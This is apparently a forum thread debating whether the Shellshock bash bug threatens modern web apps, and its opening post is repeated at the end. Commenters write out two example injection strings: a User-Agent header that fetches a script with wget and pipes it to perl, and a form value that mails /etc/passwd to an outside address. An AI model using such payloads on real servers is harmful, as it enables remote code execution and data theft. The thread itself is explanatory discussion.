Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.
As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell.
Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities.
Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock
But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice.
> Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?
- Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value
- Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug.
So in reality only two things have to be true for this attack to be possible:
- you have a vulnerable shell on your server (unpatched bash)
- your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).
Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input.
> which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff
I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to me.
This is not uncommon, and your web app probably do it if you send mail or interact with other services on the machine. There are quite a few examples in most frameworks, are you completely sure nothing you depend on calls popen?
> I've never come across a popen/shell call in a web app which looked sane or secure to me.
No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.
Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.
Even web apps not doing 'crazy stuff' can be written by a lone web-dev who just learned PHP from a book in 21-hours. Not every web app is written by a top-tier, skilled web-dev's who's up to date on the latest best practices, with a clean design for user-input sanitization, and a team of QA folk trying to poke holes, and a dedicated security team auditing the code, deployed behind some sort of filtering proxy.
Hell, you'd think that with enough top-tier talent that bugs never happen, but even Google's been hit with a bug that exposed files from their servers; Facebook had that login security bug that they paid out for via their bug bounty program, Apple's security in the first bunch of revisions of iOS was laughable, and so on.
> You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.
Hahahahahaha, have you ever seen the Wordpress codebase?
> Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.
True. I'm sure there are thousands (millions?) of compromised sites out there. Heck, probably a few of the ones I wrote back in high school are compromised.
My only point is that I'm less scared by this because it doesn't affect highly secure and modern websites (ie. I don't expect Facebook to announce they're compromised by Shellshock) as shelling out from a web server really isn't considered modern and secure. Comparatively, Heartbleed was very scary because sites which were following all the best practices (including using SSL) were vulnerable.
There may be millions of Wordpress installations, but how many run as CGI-scripts?
My guess is very close to zero. Wordpress is really slow as it is. It's also likely to be more complicated to set up compared to mod_php or FastCGI.
No, your bugs likely won't be in the direct execution of your web apps, but in their auxilliary functions such as processing received e-mail, handling print queues etc.
Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.
> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.
Definitely read on.
> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:
Enter name --
First: John
Last: Smith
Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:
Enter name --
First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com
Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.
One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.
BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.
You should delete your answer. First of all, /etc/passwd files haven't contained passwords for at least 15 to 20 years now, on most systems. Second of all, the way querystring/form parameters are passed to CGI systems makes it extremely unlikely that your example would work. And third, you're all but answering the question that was asked.
It's just an example, and I chose the example precisely because it can't be used in modern times, and I explained that the example wouldn't work. Why should I offer working examples for black-hat hackers in a public forum?
It graphically shows the vulnerability produced by Shellshock, but without offering a real working example for the script kiddies to emulate.
-- that explains the Shellshock bug, they use the same example I gave -- reading /etc/passwd. And for the same reason -- it's an example of a vulnerability, but won't give black-hats any useful information. They don't explain that this won't actually produce anything useful, but I do.
You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell.
My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.
You asked a question, I provided the answer and example code to the actual question that you asked.
> My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.
Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist.
> ... and I've yet to hear a single example of why any app built in the last decade would do so.
I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.
> You asked a question, I provided the answer and example code to the actual question that you asked.
No, you must emphatically did not.
This is the question I asked:
> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I don't think anyone would characterize CGI scripts as modern.) Your question didn't get anywhere near providing that.
I don't need a condescending explanation of why Shellshock is bad if you open a shell. I need an explanation (preferably with an example of actual code) of why somebody is actually shelling out in a modern web app.
Put another way, Shellshock could literally cause a computer to explode anytime a shell is opened from the app. This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.
> This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.
What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example.
Setting environment variables is very common, and safe if the shell is safe, because a sound shell won't do anything with an environment variable setting action beyond setting an environment variable.
Consider a prudent design that sanitizes the entry to limit itself to an alphanumeric variable name and a value provided by the user, as in my example. The left-hand side of the assignment is not an issue because the program checks its content for malicious intent. The right-hand side is safe if Bash is safe. If Bash is safe and if rudimentary precautions are taken, any variable-assigned text string is benign.
Not so for Shellshock, which is why it caused such consternation among Website operators.
Here's an online reference that makes the same points I do, and even uses the same example of reading /etc/passwd:
Not really. Deploying PHP with CGI is very uncommon, as we've seen from the fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to that has the potential of being vulnerable again, but that wasn't what you would think of as web applications: some embedded web interfaces, some really bad control panels, that sort of thing.
My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.
There are two parts to this:
The web server adds various bits of user input to an ENV variable (e.g. user agent)
Bash is vulnerable to malicious functions in any ENV variable on startup
So your reasonably designed modern web app does not need to have user input anywhere near a shell. Your web app just needs to interact with other processes on the machine with a system call (for example sending mail, calling git for a service like github), it doesn't need to actually put user input into a system call (which is an obvious no-no).
As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell.
Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities.
Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?